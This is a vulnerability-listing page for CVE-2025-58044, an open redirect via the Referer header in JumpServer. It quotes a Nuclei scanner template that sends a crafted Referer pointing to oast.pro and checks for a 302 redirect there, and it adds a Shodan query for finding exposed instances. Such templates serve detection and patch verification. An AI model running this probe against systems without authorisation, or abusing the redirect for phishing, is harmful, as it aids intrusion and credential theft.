CVE-2025-58044: JumpServer - Open Redirect via Referer Header

2026-04-09 JumpServer PoC Public

Description

JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability.

PoC

id: CVE-2025-58044

info:
  name: JumpServer - Open Redirect via Referer Header
  author: DhiyaneshDk
  severity: medium
  description: |
    JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability.
  impact: |
    An attacker can craft a malicious link that, when clicked by a victim, redirects them toan attacker-controlled website. This can be used to steal credentials through phishing or to distribute malware.
  remediation: |
    Upgrade JumpServer to version 3.10.19 or later (for v3.x) or version 4.10.5 or later (for v4.x).
  reference:
    - https://github.com/jumpserver/jumpserver/security/advisories/GHSA-h762-mj7p-jwjq
    - https://github.com/jumpserver/jumpserver/commit/36ae076cb021f16d2053a63651bc16d15a3ed53b
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58044
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-58044
    epss-score: 0.00488
    epss-percentile: 0.40827
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    shodan-query: html:"JumpServer 开源堡垒机"
  tags: cve,cve2025,jumpserver,redirect,open-redirect,fit2cloud

http:
  - method: GET
    path:
      - "{{BaseURL}}/core/i18n/ko/"

    headers:
      Referer: "https://oast.pro"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?i)location:\s*https?://oast\.pro'

      - type: status
        status:
          - 302
# digest: 480a00453043021f5bd90713978b5b66332679463ae6fc0e9dbb04bb1b4838f4d9624f7f88ce220220096e141bf547b098b0fe63d126d53225705ccb6dee9f0a53e1f692baaf0d9173:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-58044.yaml

References

Related Vulnerabilities